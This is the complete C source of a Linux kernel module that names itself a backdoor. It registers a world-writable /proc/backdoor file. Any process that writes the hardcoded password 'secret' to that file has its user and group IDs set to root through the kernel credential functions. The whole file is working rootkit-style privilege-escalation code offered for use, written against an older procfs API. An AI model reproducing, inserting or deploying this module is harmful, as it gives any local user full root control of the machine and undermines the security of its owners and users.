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#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/pid.h>

#define AUTHORS "dunamis"
#define DESC "procfile backdoor module"

struct proc_dir_entry *procfile;
char filename[] = "backdoor";
char filecontent[100] = "";

char password[] = "secret";

/**
 * Read data from the proc file
 */
ssize_t procfile_read( char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data )
{
        /** copied from sys_setresuid() */
        return sprintf( buffer, "%d\n", current->pid);
}

ssize_t procfile_write(struct file *file, const char *buffer, unsigned long count,
                   void *data)
{
        if( count < strlen(password))
                return count;
        if( strncmp( password, buffer, strlen(password)) != 0)
                return count;

        struct cred *new = prepare_creds();
        new->uid = new->suid = new->euid = 0;
        new->gid = new->egid = new->sgid = new->fsgid = 0;
        commit_creds(new);

        return count;
}

/**
 * Module init function
 * Sets up the procfile entry
 */
static int __init backdoor_init(void)
{
        procfile = create_proc_entry( filename,  0666, NULL );

        if( procfile == NULL )
        {
                printk( KERN_ALERT "Failed: could not register /proc/backdoor" );
                return 1;
        }

        procfile->read_proc = procfile_read;
        procfile->write_proc = procfile_write;
        procfile->uid = 0;
        procfile->gid = 0;
        procfile->size = 0;

        /*
         * A non 0 return means init_module failed; module can't be loaded.
         */
        return 0;
}

/**
 * Module teardown
 * Unregister the procfile entry
 */
static void __exit backdoor_exit(void)
{
        remove_proc_entry( filename, NULL );
}

module_init( backdoor_init );
module_exit( backdoor_exit );

MODULE_LICENSE("GPL");
MODULE_AUTHOR( AUTHORS );
MODULE_DESCRIPTION( DESC );